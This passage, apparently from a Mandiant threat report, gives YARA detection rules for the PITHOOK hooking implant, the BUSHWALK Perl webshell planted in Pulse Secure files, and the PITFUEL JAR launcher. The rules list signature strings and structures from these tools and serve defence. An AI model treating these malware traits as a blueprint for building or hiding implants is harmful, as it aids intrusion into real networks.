description = "This rule is designed to detect on events
related to PITHOOK."
strings:
$str1 = "/data/runtime/cockpit/wd.fd"
$str2 = "/proc/self/maps"
$str3 = "plthook_open"
$str4 = "plthook_replace"
$str5 = "plthook_close"
$str6 = "plthook_open_by_handle"
$str7 = "plthook_open_by_address"
$str8 = "plthook_enum"
$str9 = "plthook_error"
$str10 = "accept4_hook"
condition:
uint32(0) == 0x464C457F and all of them
}
rule M_Hunting_Webshell_BUSHWALK_1 {
meta:
author = "Mandiant"
description = "This rule detects BUSHWALK, a webshell
written in Perl CGI that is embedded into a legitimate
Pulse Secure file to enable file transfers"
strings:
$s1 = "SafariiOS" ascii
$s2 = "command" ascii
$s3 = "change" ascii
$s4 = "update" ascii
$s5 = "$data = RC4($key, $data);" ascii
condition:
filesize < 5KB
and all of them
}
rule M_Hunting_Launcher_PITFUEL_1 {
meta:
author = "Mandiant"
description = "This rule detects class used in
PITFUEL, a malicious JAR-based launcher that loads malicious code"
strings:
$h1 = {50 4B 03 04}
$s1 = "com/toremote/gateway/plugin/PluginManager.class"
condition:
$h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80))
}
Mandiant Security Validation Actions
Organizations can validate their security controls using the following actions with Mandiant Security Validation.
-Mandiant, 作成者: Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley Frazer